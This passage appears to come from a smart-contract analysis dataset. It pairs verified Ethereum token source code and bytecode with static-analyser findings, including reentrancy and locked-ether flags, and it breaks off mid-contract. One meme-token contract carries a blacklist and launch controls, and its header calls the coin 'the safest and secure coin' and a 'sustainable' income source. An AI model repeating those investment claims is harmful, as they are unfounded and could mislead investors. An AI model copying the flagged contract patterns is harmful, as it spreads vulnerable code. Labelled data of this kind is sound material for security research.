5b92915050565b600060208201905081810360008301526134bf8184613213565b905092915050565b600060208201905081810360008301526134e08161324c565b9050919050565b600060208201905081810360008301526135008161326f565b9050919050565b6000602082019050818103600083015261352081613292565b9050919050565b60006020820190508181036000830152613540816132b5565b9050919050565b60006020820190508181036000830152613560816132d8565b9050919050565b60006020820190508181036000830152613580816132fb565b9050919050565b600060208201905081810360008301526135a08161331e565b9050919050565b600060208201905081810360008301526135c081613341565b9050919050565b600060208201905081810360008301526135e081613364565b9050919050565b6000602082019050818103600083015261360081613387565b9050919050565b60006020820190508181036000830152613620816133aa565b9050919050565b60006020820190508181036000830152613640816133cd565b9050919050565b60006020820190508181036000830152613660816133f0565b9050919050565b6000602082019050818103600083015261368081613413565b9050919050565b600060208201905061369c6000830184613436565b92915050565b600060a0820190506136b76000830188613436565b6136c46020830187613204565b81810360408301526136d68186613188565b90506136e56060830185613179565b6136f26080830184613436565b9695505050505050565b60006020820190506137116000830184613445565b92915050565b6000613721613732565b905061372d82826139a2565b919050565b6000604051905090565b600067ffffffffffffffff82111561375757613756613aa9565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006137c882613910565b91506137d383613910565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561380857613807613a1c565b5b828201905092915050565b600061381e82613910565b915061382983613910565b92508261383957613838613a4b565b5b828204905092915050565b600061384f82613910565b915061385a83613910565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561389357613892613a1c565b5b828202905092915050565b60006138a982613910565b91506138b483613910565b9250828210156138c7576138c6613a1c565b5b828203905092915050565b60006138dd826138f0565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60006139328261394b565b9050919050565b600061394482613910565b9050919050565b60006139568261395d565b9050919050565b6000613968826138f0565b9050919050565b60005b8381101561398d578082015181840152602081019050613972565b8381111561399c576000848401525b50505050565b6139ab82613af1565b810181811067ffffffffffffffff821117156139ca576139c9613aa9565b5b80604052505050565b60006139de82613910565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff821415613a1157613a10613a1c565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060008201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c656400602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f544f4b454e3a204d6178205472616e73616374696f6e204c696d697400000000600082015250565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460008201527f6564210000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f544f4b454e3a2042616c616e636520657863656564732077616c6c657420736960008201527f7a65210000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b613eeb816138d2565b8114613ef657600080fd5b50565b613f02816138e4565b8114613f0d57600080fd5b50565b613f1981613910565b8114613f2457600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220e8d0e1695f2862c22ee808847ddb4f0257a06efc42818a43c7b9833855488a2064736f6c63430008070033 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}]}} | 9,610 |
0x1a2b22ac7743e6b32d18e12878de3613180572d6 | /**
*Submitted for verification at Etherscan.io on 2021-12-21
*/
pragma solidity 0.4.24;
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Substracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/179
*/
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 public totalSupply_;
/**
* @dev total number of tokens in existence
*/
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
require(msg.data.length>=(2*32)+4);
require(_to != address(0));
require(_value <= balances[msg.sender]);
// SafeMath.sub will throw if there is not enough balance.
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer (msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
}
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* @dev https://github.com/ethereum/EIPs/issues/20
* @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
require(_value==0||allowed[msg.sender][_spender]==0);
require(msg.data.length>=(2*32)+4);
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _addedValue The amount of tokens to increase the allowance by.
*/
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract CoinbridgeToken is StandardToken {
string public name;
string public symbol;
uint8 public decimals;
constructor() public {
name = 'Coinsbridge';
symbol = 'CREC';
decimals = 18;
totalSupply_ = 2000000000*10**uint256(decimals);
balances[msg.sender] = totalSupply_;
}
/**
* @dev Transfer token
* @param _to the accept token address
* @param _value the number of transfer token
*/
function transfer(address _to, uint256 _value) public returns (bool) {
return super.transfer(_to, _value);
}
/**
* @dev Transfer token
* @param _from the give token address
* @param _to the accept token address
* @param _value the number of transfer token
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
return super.transferFrom(_from, _to, _value);
}
/**avoid mis-transfer*/
function() public payable{
revert();
}
} | 0x6080604052600436106100ba576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde03146100bf578063095ea7b31461014f57806318160ddd146101b457806323b872dd146101df578063313ce56714610264578063324536eb1461029557806366188463146102c057806370a082311461032557806395d89b411461037c578063a9059cbb1461040c578063d73dd62314610471578063dd62ed3e146104d6575b600080fd5b3480156100cb57600080fd5b506100d461054d565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156101145780820151818401526020810190506100f9565b50505050905090810190601f1680156101415780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561015b57600080fd5b5061019a600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506105eb565b604051808215151515815260200191505060405180910390f35b3480156101c057600080fd5b506101c9610786565b6040518082815260200191505060405180910390f35b3480156101eb57600080fd5b5061024a600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610790565b604051808215151515815260200191505060405180910390f35b34801561027057600080fd5b506102796107a6565b604051808260ff1660ff16815260200191505060405180910390f35b3480156102a157600080fd5b506102aa6107b9565b6040518082815260200191505060405180910390f35b3480156102cc57600080fd5b5061030b600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506107bf565b604051808215151515815260200191505060405180910390f35b34801561033157600080fd5b50610366600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610a50565b6040518082815260200191505060405180910390f35b34801561038857600080fd5b50610391610a98565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156103d15780820151818401526020810190506103b6565b50505050905090810190601f1680156103fe5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561041857600080fd5b50610457600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610b36565b604051808215151515815260200191505060405180910390f35b34801561047d57600080fd5b506104bc600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610b4a565b604051808215151515815260200191505060405180910390f35b3480156104e257600080fd5b50610537600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610d46565b6040518082815260200191505060405180910390f35b60038054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156105e35780601f106105b8576101008083540402835291602001916105e3565b820191906000526020600020905b8154815290600101906020018083116105c657829003601f168201915b505050505081565b60008082148061067757506000600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054145b151561068257600080fd5b604460003690501015151561069657600080fd5b81600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b6000600154905090565b600061079d848484610dcd565b90509392505050565b600560009054906101000a900460ff1681565b60015481565b600080600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050808311156108d0576000600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610964565b6108e3838261118790919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600191505092915050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60048054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610b2e5780601f10610b0357610100808354040283529160200191610b2e565b820191906000526020600020905b815481529060010190602001808311610b1157829003601f168201915b505050505081565b6000610b4283836111a0565b905092915050565b6000610bdb82600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546113d490919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614151515610e0a57600080fd5b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211151515610e5757600080fd5b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211151515610ee257600080fd5b610f33826000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461118790919063ffffffff16565b6000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610fc6826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546113d490919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061109782600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461118790919063ffffffff16565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b600082821115151561119557fe5b818303905092915050565b600060446000369050101515156111b657600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141515156111f257600080fd5b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561123f57600080fd5b611290826000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461118790919063ffffffff16565b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611323826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546113d490919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b60008082840190508381101515156113e857fe5b80915050929150505600a165627a7a72305820646614c27288e28292e68fb26d9b80946653b17c841479b7f956787b5dddc4d30029 | {"success": true, "error": null, "results": {"detectors": [{"check": "locked-ether", "impact": "Medium", "confidence": "High"}]}} | 9,611 |
0x1a93903e6f1a8ee6bcd09b71b5b3cee366ee1099 | /**
*Submitted for verification at Etherscan.io on 2022-02-16
*/
/*
█████████ █████ █████ █████ █████ ██████ ██████ ███████
███░░░░░███░░███ ░░███ ░░███ ░░███ ░░██████ ██████ ███░░░░░███
░███ ░░░ ░███ ░███ ░███ ░███ ░███░█████░███ ███ ░░███
░░█████████ ░███████████ ░███ ░███ ░███░░███ ░███ ░███ ░███
░░░░░░░░███ ░███░░░░░███ ░███ ░███ ░███ ░░░ ░███ ░███ ░███
███ ░███ ░███ ░███ ░███ ░███ ░███ ░███ ░░███ ███
░░█████████ █████ █████ ░░████████ █████ █████ ░░░███████░
░░░░░░░░░ ░░░░░ ░░░░░ ░░░░░░░░ ░░░░░ ░░░░░ ░░░░░░░
█████████ █████ █████ ██████████ ██████████ ██████████ █████████
███░░░░░███░░███ ░░███ ░░███░░░░░█░░███░░░░███ ░░███░░░░███ ███░░░░░███
███ ░░░ ░███ ░███ ░███ █ ░ ░███ ░░███ ░███ ░░███ ░███ ░███
░███ ░███████████ ░██████ ░███ ░███ ░███ ░███ ░███████████
░███ ░███░░░░░███ ░███░░█ ░███ ░███ ░███ ░███ ░███░░░░░███
░░███ ███ ░███ ░███ ░███ ░ █ ░███ ███ ░███ ███ ░███ ░███
░░█████████ █████ █████ ██████████ ██████████ ██████████ █████ █████
░░░░░░░░░ ░░░░░ ░░░░░ ░░░░░░░░░░ ░░░░░░░░░░ ░░░░░░░░░░ ░░░░░ ░░░░░
The most powerful Shumo has dedicated its effort in supporting the heavy but tasteful Cheddar in the cryptocurrency market.
$SHUMOCHED is the safest and secure coin for you to invest in and it is a sustainable way for you to acquire income.
Buy Limit: 2%
Initial LP: 3
Max Supply: 10,000,000,000
Tax Distribution:
Tax to redistribution
8%
Tax to Marketing
4%
Tax to Development Team
2%
Total Buy Tax
14%
Website: https://shumocheddar.net/
Twitter: https://twitter.com/ShumoChedda
Telegram: https://t.me/shumocheddaeth
*/
//SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.10;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract SHUMOCHED is Context, IERC20, Ownable {
mapping (address => uint) private _owned;
mapping (address => mapping (address => uint)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private _isBot;
mapping (address => User) private cooldown;
uint private constant _totalSupply = 1e10 * 10**9;
string public constant name = unicode"Shumo Chedda";
string public constant symbol = unicode"SHUMOCHED";
uint8 public constant decimals = 9;
IUniswapV2Router02 private uniswapV2Router;
address payable public _TaxAdd;
address public uniswapV2Pair;
uint public _buyFee = 14;
uint public _sellFee = 14;
uint private _feeRate = 15;
uint public _maxBuyAmount;
uint public _maxHeldTokens;
uint public _launchedAt;
bool private _tradingOpen;
bool private _inSwap = false;
bool public _useImpactFeeSetter = false;
struct User {
uint buy;
bool exists;
}
event FeeMultiplierUpdated(uint _multiplier);
event ImpactFeeSetterUpdated(bool _usefeesetter);
event FeeRateUpdated(uint _rate);
event FeesUpdated(uint _buy, uint _sell);
event TaxAddUpdated(address _taxwallet);
modifier lockTheSwap {
_inSwap = true;
_;
_inSwap = false;
}
constructor (address payable TaxAdd) {
_TaxAdd = TaxAdd;
_owned[address(this)] = _totalSupply;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[TaxAdd] = true;
emit Transfer(address(0), address(this), _totalSupply);
}
function balanceOf(address account) public view override returns (uint) {
return _owned[account];
}
function transfer(address recipient, uint amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function totalSupply() public pure override returns (uint) {
return _totalSupply;
}
function allowance(address owner, address spender) public view override returns (uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public override returns (bool) {
_transfer(sender, recipient, amount);
uint allowedAmount = _allowances[sender][_msgSender()] - amount;
_approve(sender, _msgSender(), allowedAmount);
return true;
}
function _approve(address owner, address spender, uint amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint amount) private {
require(!_isBot[from]);
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
bool isBuy = false;
if(from != owner() && to != owner()) {
if(from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to]) {
require(_tradingOpen, "Trading not yet enabled.");
if (block.timestamp == _launchedAt) _isBot[to] = true;
if((_launchedAt + (10 minutes)) > block.timestamp) {
require((amount + balanceOf(address(to))) <= _maxHeldTokens, "You can't own that many tokens at once.");
}
if(!cooldown[to].exists) {
cooldown[to] = User(0,true);
}
if((_launchedAt + (10 minutes)) > block.timestamp) {
require(amount <= _maxBuyAmount, "Exceeds maximum buy amount.");
require(cooldown[to].buy < block.timestamp + (30 seconds), "Your buy cooldown has not expired.");
}
cooldown[to].buy = block.timestamp;
isBuy = true;
}
if(!_inSwap && _tradingOpen && from != uniswapV2Pair) {
require(cooldown[from].buy < block.timestamp + (15 seconds), "Your sell cooldown has not expired.");
uint contractTokenBalance = balanceOf(address(this));
if(contractTokenBalance > 0) {
if(_useImpactFeeSetter) {
if(contractTokenBalance > (balanceOf(uniswapV2Pair) * _feeRate) / 100) {
contractTokenBalance = (balanceOf(uniswapV2Pair) * _feeRate) / 100;
}
}
swapTokensForEth(contractTokenBalance);
}
uint contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
isBuy = false;
}
}
bool takeFee = true;
if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){
takeFee = false;
}
_tokenTransfer(from,to,amount,takeFee,isBuy);
}
function swapTokensForEth(uint tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint amount) private {
_TaxAdd.transfer(amount);
}
function _tokenTransfer(address sender, address recipient, uint amount, bool takefee, bool buy) private {
(uint fee) = _getFee(takefee, buy);
_transferStandard(sender, recipient, amount, fee);
}
function _getFee(bool takefee, bool buy) private view returns (uint) {
uint fee = 0;
if(takefee) {
if(buy) {
fee = _buyFee;
} else {
fee = _sellFee;
}
}
return fee;
}
function _transferStandard(address sender, address recipient, uint amount, uint fee) private {
(uint transferAmount, uint team) = _getValues(amount, fee);
_owned[sender] = _owned[sender] - amount;
_owned[recipient] = _owned[recipient] + transferAmount;
_takeTeam(team);
emit Transfer(sender, recipient, transferAmount);
}
function _getValues(uint amount, uint teamFee) private pure returns (uint, uint) {
uint team = (amount * teamFee) / 100;
uint transferAmount = amount - team;
return (transferAmount, team);
}
function _takeTeam(uint team) private {
_owned[address(this)] = _owned[address(this)] + team;
}
receive() external payable {}
function addLiquidity() external onlyOwner() {
require(!_tradingOpen, "Trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _totalSupply);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function openTrading() external onlyOwner() {
require(!_tradingOpen, "Trading is already open");
_tradingOpen = true;
_launchedAt = block.timestamp;
_maxBuyAmount = 200000000 * 10**9;
_maxHeldTokens = 200000000 * 10**9;
}
function manualswap() external {
require(_msgSender() == _TaxAdd);
uint contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
